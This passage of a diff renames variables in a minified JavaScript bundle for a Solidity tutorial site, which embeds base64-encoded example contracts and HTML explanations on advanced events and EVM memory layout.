                      • @@ -7597,7 +7597,7 @@ assertion probably means that there is a bug. emit AnotherLog(); } } -`,wk=({prev:s,next:a})=>r.jsx(A,{version:jk,title:Ak,description:uk,cyfrinLink:yk,html:bk,prev:s,next:a,codes:mk}),kk="0.8.26",Zk="Events Advanced",Wk="Advanced topics and concepts related to Solidity events",Bk="https://www.cyfrin.io/glossary/events-advanced-solidity-code-example",Gk=[{fileName:"EventsAdvanced.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4xNDsKCi8vIEV2ZW50LURyaXZlbiBBcmNoaXRlY3R1cmUKY29udHJhY3QgRXZlbnREcml2ZW5BcmNoaXRlY3R1cmUgewogICAgZXZlbnQgVHJhbnNmZXJJbml0aWF0ZWQoCiAgICAgICAgYWRkcmVzcyBpbmRleGVkIGZyb20sIGFkZHJlc3MgaW5kZXhlZCB0bywgdWludDI1NiB2YWx1ZQogICAgKTsKICAgIGV2ZW50IFRyYW5zZmVyQ29uZmlybWVkKAogICAgICAgIGFkZHJlc3MgaW5kZXhlZCBmcm9tLCBhZGRyZXNzIGluZGV4ZWQgdG8sIHVpbnQyNTYgdmFsdWUKICAgICk7CgogICAgbWFwcGluZyhieXRlczMyID0+IGJvb2wpIHB1YmxpYyB0cmFuc2ZlckNvbmZpcm1hdGlvbnM7CgogICAgZnVuY3Rpb24gaW5pdGlhdGVUcmFuc2ZlcihhZGRyZXNzIHRvLCB1aW50MjU2IHZhbHVlKSBwdWJsaWMgewogICAgICAgIGVtaXQgVHJhbnNmZXJJbml0aWF0ZWQobXNnLnNlbmRlciwgdG8sIHZhbHVlKTsKICAgICAgICAvLyAuLi4gKGluaXRpYXRlIHRyYW5zZmVyIGxvZ2ljKQogICAgfQoKICAgIGZ1bmN0aW9uIGNvbmZpcm1UcmFuc2ZlcihieXRlczMyIHRyYW5zZmVySWQpIHB1YmxpYyB7CiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgIXRyYW5zZmVyQ29uZm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JlKHN1YnNjcmliZXJzW21zZy5zZW5kZXJdLCAiTm90IHN1YnNjcmliZWQiKTsKICAgICAgICBzdWJzY3JpYmVyc1ttc2cuc2VuZGVyXSA9IGZhbHNlOwogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IHN1YnNjcmliZXJMaXN0Lmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIGlmIChzdWJzY3JpYmVyTGlzdFtpXSA9PSBtc2cuc2VuZGVyKSB7CiAgICAgICAgICAgICAgICBzdWJzY3JpYmVyTGlzdFtpXSA9IHN1YnNjcmliZXJMaXN0W3N1YnNjcmliZXJMaXN0Lmxlbmd0aCAtIDFdOwogICAgICAgICAgICAgICAgc3Vic2NyaWJlckxpc3QucG9wKCk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIHRvLCB1aW50MjU2IHZhbHVlKSBwdWJsaWMgewogICAgICAgIGVtaXQgTG9nVHJhbnNmZXIobXNnLnNlbmRlciwgdG8sIHZhbHVlKTsKICAgICAgICBmb3IgKHVpbnQyNTYgaSA9IDA7IGkgPCBzdWJzY3JpYmVyTGlzdC5sZW5ndGg7IGkrKykgewogICAgICAgICAgICBJRXZlbnRTdWJzY3JpYmVyKHN1YnNjcmliZXJMaXN0W2ldKS5oYW5kbGVUcmFuc2ZlckV2ZW50KAogICAgICAgICAgICAgICAgbXNnLnNlbmRlciwgdG8sIHZhbHVlCiAgICAgICAgICAgICk7CiAgICAgICAgfQogICAgfQp9Cg=="}],fk=`

                        This page covers advanced topics and use cases related to events in Solidity, building upon the basics covered in the Events page.

                        +`,kk=({prev:s,next:a})=>r.jsx(A,{version:Ak,title:uk,description:yk,cyfrinLink:mk,html:wk,prev:s,next:a,codes:bk}),Zk="0.8.26",Wk="Events Advanced",Gk="Advanced topics and concepts related to Solidity events",Bk="https://www.cyfrin.io/glossary/events-advanced-solidity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rKSB7CiAgICAgICAgICAgIGlmIChzdWJzY3JpYmVyTGlzdFtpXSA9PSBtc2cuc2VuZGVyKSB7CiAgICAgICAgICAgICAgICBzdWJzY3JpYmVyTGlzdFtpXSA9IHN1YnNjcmliZXJMaXN0W3N1YnNjcmliZXJMaXN0Lmxlbmd0aCAtIDFdOwogICAgICAgICAgICAgICAgc3Vic2NyaWJlckxpc3QucG9wKCk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIHRvLCB1aW50MjU2IHZhbHVlKSBwdWJsaWMgewogICAgICAgIGVtaXQgTG9nVHJhbnNmZXIobXNnLnNlbmRlciwgdG8sIHZhbHVlKTsKICAgICAgICBmb3IgKHVpbnQyNTYgaSA9IDA7IGkgPCBzdWJzY3JpYmVyTGlzdC5sZW5ndGg7IGkrKykgewogICAgICAgICAgICBJRXZlbnRTdWJzY3JpYmVyKHN1YnNjcmliZXJMaXN0W2ldKS5oYW5kbGVUcmFuc2ZlckV2ZW50KAogICAgICAgICAgICAgICAgbXNnLnNlbmRlciwgdG8sIHZhbHVlCiAgICAgICAgICAgICk7CiAgICAgICAgfQogICAgfQp9Cg=="}],Vk=`

                        This page covers advanced topics and use cases related to events in Solidity, building upon the basics covered in the Events page.

                        Events in Solidity are a powerful tool that enables various advanced functionalities and architectures. Some advanced use cases for events include:

                        • Event filtering and monitoring for real-time updates and analytics
                        • @@ -7684,7 +7684,7 @@ assertion probably means that there is a bug.
                        • Events cannot be used in view or pure functions, as they alter the state of the blockchain by storing logs.
                        • Be mindful of the gas cost associated with emitting events, especially when indexing parameters, as it can impact the overall gas consumption of your contract.
                        -`,Vk=({prev:s,next:a})=>r.jsx(A,{version:kk,title:Zk,description:Wk,cyfrinLink:Bk,html:fk,prev:s,next:a,codes:Gk}),Yk="0.8.26",Xk="EVM Memory Layout in Solidity",vk="Example of EVM memory in Solidity",Rk="",N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kgewogICAgICAgICAgICAvLyBsb2FkIDMyIGJ5dGVzIHN0YXJ0aW5nIGZyb20gMHg4MAogICAgICAgICAgICB4IDo9IG1sb2FkKDB4ODApCiAgICAgICAgICAgIC8vIGxvYWQgMzIgYnl0ZXMgc3RhcnRpbmcgZnJvbSAweGEwICgweDgwICsgMzIgPSAweGEwKQogICAgICAgICAgICB5IDo9IG1sb2FkKDB4YTApCiAgICAgICAgICAgIC8vIGxvYWQgMzIgYnl0ZXMgc3RhcnRpbmcgZnJvbSAweGMwICgweGEwICsgMzIgPSAweGMwKQogICAgICAgICAgICB6IDo9IG1sb2FkKDB4YzApCiAgICAgICAgfQogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3Rfd3JpdGUoKQogICAgICAgIHB1YmxpYwogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlczMyIGZyZWVfbWVtX3B0ciwgdWludDI1NiB4LCB1aW50MjU2IHksIHVpbnQyNTYgeikKICAgIHsKICAgICAgICAvLyBBbGxvY2F0ZXMgbWVtb3J5IDB4ODAgdG8gMHhkZiB0byBQb2ludAogICAgICAgIC8vIEZyZWUgbWVtb3J5IHBvaW50ZXIgPSAweGRmICsgMSA9IDB4ZTAKICAgICAgICBQb2ludCBtZW1vcnkgcDsKCiAgICAgICAgLy8gV3JpdGUKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIC8vIHN0b3JlIHRvIDB4ODAKICAgICAgICAgICAgbXN0b3JlKHAsIDExKQogICAgICAgICAgICAvLyBzdG9yZSB0byAweGEwCiAgICAgICAgICAgIG1zdG9yZShhZGQocCwgMHgyMCksIDIyKQogICAgICAgICAgICAvLyBzdG9yZSB0byAweGMwCiAgICAgICAgICAgIG1zdG9yZShhZGQocCwgMHg0MCksIDMzKQogICAgICAgICAgICAvLyAweGUwCiAgICAgICAgICAgIGZyZWVfbWVtX3B0ciA6PSBtbG9hZCgweDQwKQogICAgICAgIH0KCiAgICAgICAgeCA9IHAueDsKICAgICAgICB5ID0gcC55OwogICAgICAgIHogPSBwLno7CiAgICB9Cn0KCmNvbnRyYWN0IE1lbUZpeGVkQXJyYXkgewogICAgZnVuY3Rpb24gdGVzdF9yZWFkKCkKICAgICAgICBwdWJsaWMKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAodWludDI1NiBhMCwgdWludDI1NiBhMSwgdWludDI1NiBhMikKICAgIHsKICAgICAgICAvLyBhcnIgaXMgbG9hZGVkIHRvIG1lbW9yeSBzdGFydGluZyBhdCAweDgwCiAgICAgICAgLy8gRWFjaCBhcnJheSBlbGVtZW50IGlzIHN0b3JlZCBhcyAzMiBieXRlcwogICAgICAgIHVpbnQzMlszXSBtZW1vcnkgYXJyID0gW3VpbnQzMigxKSwgdWludDMyKDIpLCB1aW50MzIoMyldOwoKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIGEwIDo9IG1sb2FkKDB4ODApCiAgICAgICAgICAgIGExIDo9IG1sb2FkKDB4YTApCiAgICAgICAgICAgIGEyIDo9IG1sb2FkKDB4YzApCiAgICAgICAgfQogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3Rfd3JpdGUoKQogICAgICAgIHB1YmxpYwogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2IGEwLCB1aW50MjU2IGExLCB1aW50MjU2IGEyKQogICAgewogICAgICAgIHVpbnQzMlszXSBtZW1vcnkgYXJyOwoKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIC8vIDB4ODAKICAgICAgICAgICAgbXN0b3JlKGFyciwgMTEpCiAgICAgICAgICAgIC8vIDB4YTAKICAgICAgICAgICAgbXN0b3JlKGFkZChhcnIsIDB4MjApLCAyMikKICAgICAgICAgICAgLy8gMHhjMAogICAgICAgICAgICBtc3RvcmUoYWRkKGFyciwgMHg0MCksIDMzKQogICAgICAgIH0KCiAgICAgICAgYTAgPSBhcnJbMF07CiAgICAgICAgYTEgPSBhcnJbMV07CiAgICAgICAgYTIgPSBhcnJbMl07CiAgICB9Cn0KCmNvbnRyYWN0IE1lbUR5bmFtaWNBcnJheSB7CiAgICBmdW5jdGlvbiB0ZXN0X3JlYWQoKQogICAgICAgIHB1YmxpYwogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlczMyIHAsIHVpbnQyNTYgbGVuLCB1aW50MjU2IGEwLCB1aW50MjU2IGExLCB1aW50MjU2IGEyKQogICAgewogICAgICAgIHVpbnQyNTZbXSBtZW1vcnkgYXJyID0gbmV3IHVpbnQyNTZbXSg1KTsKICAgICAgICBhcnJbMF0gPSB1aW50MjU2KDExKTsKICAgICAgICBhcnJbMV0gPSB1aW50MjU2KDIyKTsKICAgICAgICBhcnJbMl0gPSB1aW50MjU2KDMzKTsKICAgICAgICBhcnJbM10gPSB1aW50MjU2KDQ0KTsKICAgICAgICBhcnJbNF0gPSB1aW50MjU2KDU1KTsKCiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBwIDo9IGFycgogICAgICAgICAgICAvLyAweDgwCiAgICAgICAgICAgIGxlbiA6PSBtbG9hZChhcnIpCiAgICAgICAgICAgIC8vIDB4YTAKICAgICAgICAgICAgYTAgOj0gbWxvYWQoYWRkKGFyciwgMHgyMCkpCiAgICAgICAgICAgIC8vIDB4YzAKICAgICAgICAgICAgYTEgOj0gbWxvYWQoYWRkKGFyciwgMHg0MCkpCiAgICAgICAgICAgIC8vIDB4ZTAKICAgICAgICAgICAgYTIgOj0gbWxvYWQoYWRkKGFyciwgMHg2MCkpCiAgICAgICAgfQogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3Rfd3JpdGUoKSBwdWJsaWMgcHVyZSByZXR1cm5zIChieXRlczMyIHAsIHVpbnQyNTZbXSBtZW1vcnkpIHsKICAgICAgICB1aW50MjU2W10gbWVtb3J5IGFyciA9IG5ldyB1aW50MjU2W10oMCk7CgogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgcCA6PSBhcnIKICAgICAgICAgICAgLy8gU3RvcmUgbGVuZ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MzIodWludDI1NigweGFhYSkpOwogICAgICAgIGFyclsxXSA9IGJ5dGVzMzIodWludDI1NigweGJiYikpOwogICAgICAgIGFyclsyXSA9IGJ5dGVzMzIodWludDI1NigweGNjYykpOwogICAgICAgIHJldHVybiBhcnI7CiAgICB9CgogICAgZnVuY3Rpb24gdGVzdF9tZW0oKQogICAgICAgIHB1YmxpYwogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2IGxlbiwgYnl0ZXMzMiBhMCwgYnl0ZXMzMiBhMSwgYnl0ZXMzMiBhMikKICAgIHsKICAgICAgICAvLyBTdG9yZXMgMHg4MCB0byB0b3Agb2YgdGhlIHN0YWNrCiAgICAgICAgLy8gMHg4MCA9IG1lbW9yeSBwb2ludGVyIHRvIGJlZ2lubmluZyBvZiBhcnIKICAgICAgICBpbnRlcm5hbF9mdW5jX3JldHVybl9tZW0oKTsKICAgICAgICAvLyBSZWFkIGRhdGEgZnJvbSBhcnIsIGluaXRpYWxpemVkIGluIGludGVybmFsX2Z1bmNfcmV0dXJuX21lbSwgdXNpbmcgYXNzZW1ibHkKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIGxlbiA6PSBtbG9hZCgweDgwKQogICAgICAgICAgICBhMCA6PSBtbG9hZCgweGEwKQogICAgICAgICAgICBhMSA6PSBtbG9hZCgweGMwKQogICAgICAgICAgICBhMiA6PSBtbG9hZCgweGUwKQogICAgICAgIH0KICAgIH0KfQoKY29udHJhY3QgQUJJRW5jb2RlIHsKICAgIC8vIGpzIGNvZGUgdG8gc3BsaXQgc3RyaW5nIGludG8gY2h1bmtzIG9mIGxlbmd0aCA2NAogICAgLy8gc3RyLm1hdGNoKC8uezEsNjR9L2cpCgogICAgLy8gVmFsdWUgdHlwZXMgPCAzMiBieXRlcyAtPiB6ZXJvIHBhZGRlZCBvbiB0aGUgbGVmdCBzaWRlCiAgICAvLyAweDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMGFiYWJhYmFiYWJhYm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nNldCArIHN0cmluZyBsZW5ndGggKyBzdHJpbmcgbWVzc2FnZQogICAgICAgICAgICAvLyA9IDB4MDQgKyAweDIwICsgMHgyMCArIDB4MjAKICAgICAgICAgICAgLy8gPSAweDY0CiAgICAgICAgICAgIHJldmVydChwLCAweDY0KQogICAgICAgIH0KICAgIH0KfQoKY29udHJhY3QgTWVtS2VjY2FrIHsKICAgIGZ1bmN0aW9uIHRlc3Rfa2VjY2FrKCkgcHVibGljIHB1cmUgcmV0dXJucyAoYnl0ZXMzMikgewogICAgICAgIC8vIGtlY2NhazI1NihzdGFydCwgbGVuKSAtIEtlY2NhazI1NiBmcm9tIGRhdGEgaW4gbWVtb3J5IGZyb20gc3RhcnQgdG8gc3RhcnQgKyBsZW4KICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIG1zdG9yZSgweDgwLCAxKQogICAgICAgICAgICBtc3RvcmUoMHhhMCwgMikKCiAgICAgICAgICAgIGxldCBoIDo9IGtlY2NhazI1NigweDgwLCAweDQwKQogICAgICAgICAgICBtc3RvcmUoMHhjMCwgaCkKCiAgICAgICAgICAgIHJldHVybigweGMwLCAweDIwKQogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiBrZWNjYWsoKSBwdWJsaWMgcHVyZSByZXR1cm5zIChieXRlczMyKSB7CiAgICAgICAgcmV0dXJuIGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKHVpbnQyNTYoMSksIHVpbnQyNTYoMikpKTsKICAgIH0KfQoKY29udHJhY3QgVGFyZ2V0IHsKICAgIGZ1bmN0aW9uIHJldHVybl91aW50MjU2KHVpbnQyNTYgeCkgcHVibGljIHB1cmUgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiB4OwogICAgfQoKICAgIGZ1bmN0aW9uIHJldHVybl9ieXRlcyh1aW50MjU2IG4pIHB1YmxpYyBwdXJlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkgewogICAgICAgIGJ5dGVzIG1lbW9yeSBvd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vcnkgcG9pbnRlcgogICAgICAgICAgICBtc3RvcmUoMHg0MCwgYWRkKG91dCwgYWRkKDB4MjAsIHJldHVybl9kYXRhX3NpemUpKSkKICAgICAgICB9CiAgICB9Cn0KCmNvbnRyYWN0IENvdW50ZXIgewogICAgdWludDI1NiBwdWJsaWMgY291bnQ7CgogICAgZnVuY3Rpb24gaW5jKCkgcHVibGljIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICBjb3VudCArPSAxOwogICAgICAgIHJldHVybiBjb3VudDsKICAgIH0KfQoKY29udHJhY3QgWXVsQ2FsbCB7CiAgICBmdW5jdGlvbiB0ZXN0X2NhbGwoYWRkcmVzcyBhLCBieXRlcyBtZW1vcnkgZGF0YSkKICAgICAgICBwdWJsaWMKICAgICAgICBwYXlhYmxlCiAgICAgICAgcmV0dXJucyAoYnl0ZXMgbWVtb3J5IG91dCkKICAgIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIC8vIDB4ODAKICAgICAgICAgICAgbGV0IGRhdGFfcHRyIDo9IGRhdGEKICAgICAgICAgICAgLy8gMHg2MAogICAgICAgICAgICBsZXQgb3V0X3B0ciA6PSBvdXQKCiAgICAgICAgICAgIGxldCBkYXRhX3NpemUgOj0gbWxvYWQoZGF0YSkKICAgICAgICAgICAgbGV0IGRhdGFfc3RhcnQgOj0gYWRkKGRhdGEsIDB4MjApCiAgICAgICAgICAgIGxldCBvayA6PSBjYWxsKGdhcygpLCBhLCBjYWxsdmFsdWUoKSwgZGF0YV9zdGFydCwgZGF0YV9zaXplLCAwLCAwKQoKICAgICAgICAgICAgaWYgaXN6ZXJvKG9rKSB7IHJldmVydCgwLCAwKSB9CgogICAgICAgICAgICBsZXQgcmV0dXJuX2RhdGFfc2l6ZSA6PSByZXR1cm5kYXRhc2l6ZSgpCiAgICAgICAgICAgIC8vIFN0b3JlIGxlbmd0aCBvZiByZXR1cm4gZGF0YSB0byBvdXQKICAgICAgICAgICAgbXN0b3JlKG91dCwgcmV0d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wMCB8IDkwMTgxMgo="}],Hk=`

                        Examples of

                        +`,Yk=({prev:s,next:a})=>r.jsx(A,{version:Zk,title:Wk,description:Gk,cyfrinLink:Bk,html:Vk,prev:s,next:a,codes:fk}),Xk="0.8.26",Rk="EVM Memory Layout in Solidity",vk="Example of EVM memory in Solidity",Nk="",Hk=[{fileName:"YulMem.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjI2OwoKLy8gTWVtb3J5IGxheW91dAovLyBhcnJheSBvZiBsZW5ndGggMioqMjU2ICgzMiBieXRlcyksIGVhY2ggZWxlbWVudCBzdG9yZXMgMSBieXRlICgweDAwIHRvIDB4ZmYpCi8vIGluZGV4ICAgICAwICAgIDEgICAgMiAgIC4uLiAgIDB4ZmZmLi4uZmZmID0gMioqMjU2IC0gMQovLyBtZW1vcnkgfCAwMCB8IDAwIHwgMDAgfCAuLi4gfCAwMCB8CgovLyBSZXNlcnZlZCBzbG90cwovLyAweDAwIC0gMHgzZiAoNjQgYnl0ZXMpOiBzY3JhdGNoIHNwYWNlIGZvciBoYXNoaW5nIG1ldGhvZHMKLy8gMHg0MCAtIDB4NWYgKDMyIGJ5dGVzKTogZnJlZSBtZW1vcnkgcG9pbnRlciAtIHBvaW50ZXIgdG8gbmV4dCBhdmFpbGFibGUgbG9jYXRpb24gaW4gbWVtb3J5IHRvIHN0b3JlIGRhdGEKLy8gMHg2MCAtIDB4N2YgKDMyIGJ5dGVzKTogemVybyBzbG90IC0gdXNlZCBhcyBpbml0aWFsIHZhbHVlIGZvciBkeW5hbWljIG1lbW9yeSBhcnJheXMgYW5kIHNob3VsZCBuZXZlciBiZSB3cml0dGVuIHRvCgovLyBGcmVlIG1lbW9yeSBwb2ludGVyICgweDQwKQovLyAweDgwID0gRnJlZSBtZW1vcnkgcG9pbnRlciBpbml0aWFsbHkgcG9pbnRzIGhlcmUKY29udHJhY3QgTWVtQmFzaWMgewogICAgLy8gb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GlzIGxvYWRlZCB0byBtZW1vcnkgc3RhcnRpbmcgYXQgMHg4MAogICAgICAgIC8vIDB4ODAgPSBpbml0aWFsIGZyZWUgbWVtb3J5CiAgICAgICAgUG9pbnQgbWVtb3J5IHAgPSBQb2ludCgxLCAyLCAzKTsKCiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICAvLyBsb2FkIDMyIGJ5dGVzIHN0YXJ0aW5nIGZyb20gMHg4MAogICAgICAgICAgICB4IDo9IG1sb2FkKDB4ODApCiAgICAgICAgICAgIC8vIGxvYWQgMzIgYnl0ZXMgc3RhcnRpbmcgZnJvbSAweGEwICgweDgwICsgMzIgPSAweGEwKQogICAgICAgICAgICB5IDo9IG1sb2FkKDB4YTApCiAgICAgICAgICAgIC8vIGxvYWQgMzIgYnl0ZXMgc3RhcnRpbmcgZnJvbSAweGMwICgweGEwICsgMzIgPSAweGMwKQogICAgICAgICAgICB6IDo9IG1sb2FkKDB4YzApCiAgICAgICAgfQogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3Rfd3JpdGUoKQogICAgICAgIHB1YmxpYwogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlczMyIGZyZWVfbWVtX3B0ciwgdWludDI1NiB4LCB1aW50MjU2IHksIHVpbnQyNTYgeikKICAgIHsKICAgICAgICAvLyBBbGxvY2F0ZXMgbWVtb3J5IDB4ODAgdG8gMHhkZiB0byBQb2ludAogICAgICAgIC8vIEZyZWUgbWVtb3J5IHBvaW50ZXIgPSAweGRmICsgMSA9IDB4ZTAKICAgICAgICBQb2ludCBtZW1vcnkgcDsKCiAgICAgICAgLy8gV3JpdGUKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIC8vIHN0b3JlIHRvIDB4ODAKICAgICAgICAgICAgbXN0b3JlKHAsIDExKQogICAgICAgICAgICAvLyBzdG9yZSB0byAweGEwCiAgICAgICAgICAgIG1zdG9yZShhZGQocCwgMHgyMCksIDIyKQogICAgICAgICAgICAvLyBzdG9yZSB0byAweGMwCiAgICAgICAgICAgIG1zdG9yZShhZGQocCwgMHg0MCksIDMzKQogICAgICAgICAgICAvLyAweGUwCiAgICAgICAgICAgIGZyZWVfbWVtX3B0ciA6PSBtbG9hZCgweDQwKQogICAgICAgIH0KCiAgICAgICAgeCA9IHAueDsKICAgICAgICB5ID0gcC55OwogICAgICAgIHogPSBwLno7CiAgICB9Cn0KCmNvbnRyYWN0IE1lbUZpeGVkQXJyYXkgewogICAgZnVuY3Rpb24gdGVzdF9yZWFkKCkKICAgICAgICBwdWJsaWMKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAodWludDI1NiBhMCwgdWludDI1NiBhMSwgdWludDI1NiBhMikKICAgIHsKICAgICAgICAvLyBhcnIgaXMgbG9hZGVkIHRvIG1lbW9yeSBzdGFydGluZyBhdCAweDgwCiAgICAgICAgLy8gRWFjaCBhcnJheSBlbGVtZW50IGlzIHN0b3JlZCBhcyAzMiBieXRlcwogICAgICAgIHVpbnQzMlszXSBtZW1vcnkgYXJyID0gW3VpbnQzMigxKSwgdWludDMyKDIpLCB1aW50MzIoMyldOwoKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIGEwIDo9IG1sb2FkKDB4ODApCiAgICAgICAgICAgIGExIDo9IG1sb2FkKDB4YTApCiAgICAgICAgICAgIGEyIDo9IG1sb2FkKDB4YzApCiAgICAgICAgfQogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3Rfd3JpdGUoKQogICAgICAgIHB1YmxpYwogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2IGEwLCB1aW50MjU2IGExLCB1aW50MjU2IGEyKQogICAgewogICAgICAgIHVpbnQzMlszXSBtZW1vcnkgYXJyOwoKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIC8vIDB4ODAKICAgICAgICAgICAgbXN0b3JlKGFyciwgMTEpCiAgICAgICAgICAgIC8vIDB4YTAKICAgICAgICAgICAgbXN0b3JlKGFkZChhcnIsIDB4MjApLCAyMikKICAgICAgICAgICAgLy8gMHhjMAogICAgICAgICAgICBtc3RvcmUoYWRkKGFyciwgMHg0MCksIDMzKQogICAgICAgIH0KCiAgICAgICAgYTAgPSBhcnJbMF07CiAgICAgICAgYTEgPSBhcnJbMV07CiAgICAgICAgYTIgPSBhcnJbMl07CiAgICB9Cn0KCmNvbnRyYWN0IE1lbUR5bmFtaWNBcnJheSB7CiAgICBmdW5jdGlvbiB0ZXN0X3JlYWQoKQogICAgICAgIHB1YmxpYwogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlczMyIHAsIHVpbnQyNTYgbGVuLCB1aW50MjU2IGEwLCB1aW50MjU2IGExLCB1aW50MjU2IGEyKQogICAgewogICAgICAgIHVpbnQyNTZbXSBtZW1vcnkgYXJyID0gbmV3IHVpbnQyNTZbXSg1KTsKICAgICAgICBhcnJbMF0gPSB1aW50MjU2KDExKTsKICAgICAgICBhcnJbMV0gPSB1aW50MjU2KDIyKTsKICAgICAgICBhcnJbMl0gPSB1aW50MjU2KDMzKTsKICAgICAgICBhcnJbM10gPSB1aW50MjU2KDQ0KTsKICAgICAgICBhcnJbNF0gPSB1aW50MjU2KDU1KTsKCiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBwIDo9IGFycgogICAgICAgICAgICAvLyAweDgwCiAgICAgICAgICAgIGxlbiA6PSBtbG9hZChhcnIpCiAgICAgICAgICAgIC8vIDB4YTAKICAgICAgICAgICAgYTAgOj0gbWxvYWQoYWRkKGFyciwgMHgyMCkpCiAgICAgICAgICAgIC8vIDB4YzAKICAgICAgICAgICAgYTEgOj0gbWxvYWQoYWRkKGFyciwgMHg0MCkpCiAgICAgICAgICAgIC8vIDB4ZTAKICAgICAgICAgICAgYTIgOj0gbWxvYWQoYWRkKGFyciwgMHg2MCkpCiAgICAgICAgfQogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3Rfd3JpdGUoKSBwdWJsaWMgcHVyZSByZXR1cm5zIChieXRlczMyIHAsIHVpbnQyNTZbXSBtZW1vcnkpIHsKICAgICAgICB1aW50MjU2W10gbWVtb3J5IGFyciA9IG5ldyB1aW50MjU2W10oMCk7CgogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgcCA6PSBhcnIKICAgICAgICAgICAgLy8gU3RvcmUgbGVuZ3RoIG9mIGFycgogICAgICAgICAgICBtc3RvcmUoYXJyLCAzKQogICAgICAgICAgICAvLyBTdG9yZSAxLCAyLCAzCiAgICAgICAgICAgIG1zdG9yZShhZGQoYXJyLCAweDIwKSwgMTEpCiAgICAgICAgICAgIG1zdG9yZShhZGQoYXJyLCAweDQwKSwgMjIpCiAgICAgICAgICAgIG1zdG9yZShhZGQoYXJyLCAweDYwKSwgMzMpCiAgICAgICAgICAgIC8vIFVwZGF0ZSBmcmVlIG1lbW9yeSBwb2ludGVyCiAgICAgICAgICAgIG1zdG9yZSgweDQwLCBhZGQoYXJyLCAweDgwKSkKICAgICAgICB9CgogICAgICAgIC8vIERhdGEgd2lsbCBiZSBBQkkgZW5jb2RlZCB3aGVuIGFyciBpcyByZXR1cm5lZCB0byBjYWxsZXIKICAgICAgICByZXR1cm4gKHAsIGFycik7CiAgICB9Cn0KCmNvbnRyYWN0IE1lbUludGVybmFsRnVuY1JldHVybiB7CiAgICBmdW5jdGlvbiBpbnRlcm5hbF9mdW5jX3JldHVybl92YWwoKSBwcml2YXRlIHB1cmUgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiB1aW50MjU2KDB4YWJhYmFiKTsKICAgIH0KCiAgICBmdW5jdGlvbiB0ZXN0X3ZhbCgpIHB1YmxpYyBwdXJlIHsKICAgICAgICAvLyAweGFiYWJhYiB3aWxsIGJlIHN0b3JlZCBpbiB0b3Agb2YgdGhlIHN0YWNrCiAgICAgICAgaW50ZXJuYWxfZnVuY19yZXR1cm5fdmFsKCk7CiAgICB9CgogICAgZnVuY3Rpb24gaW50ZXJuYWxfZnVuY19yZXR1cm5fbWVtKCkKICAgICAgICBwcml2YXRlCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGJ5dGVzMzJbXSBtZW1vcnkpCiAgICB7CiAgICAgICAgYnl0ZXMzMltdIG1lbW9yeSBhcnIgPSBuZXcgYnl0ZXMzMltdKDMpOwogICAgICAgIGFyclswXSA9IGJ5dGVzMzIodWludDI1NigweGFhYSkpOwogICAgICAgIGFyclsxXSA9IGJ5dGVzMzIodWludDI1NigweGJiYikpOwogICAgICAgIGFyclsyXSA9IGJ5dGVzMzIodWludDI1NigweGNjYykpOwogICAgICAgIHJldHVybiBhcnI7CiAgICB9CgogICAgZnVuY3Rpb24gdGVzdF9tZW0oKQogICAgICAgIHB1YmxpYwogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2IGxlbiwgYnl0ZXMzMiBhMCwgYnl0ZXMzMiBhMSwgYnl0ZXMzMiBhMikKICAgIHsKICAgICAgICAvLyBTdG9yZXMgMHg4MCB0byB0b3Agb2YgdGhlIHN0YWNrCiAgICAgICAgLy8gMHg4MCA9IG1lbW9yeSBwb2ludGVyIHRvIGJlZ2lubmluZyBvZiBhcnIKICAgICAgICBpbnRlcm5hbF9mdW5jX3JldHVybl9tZW0oKTsKICAgICAgICAvLyBS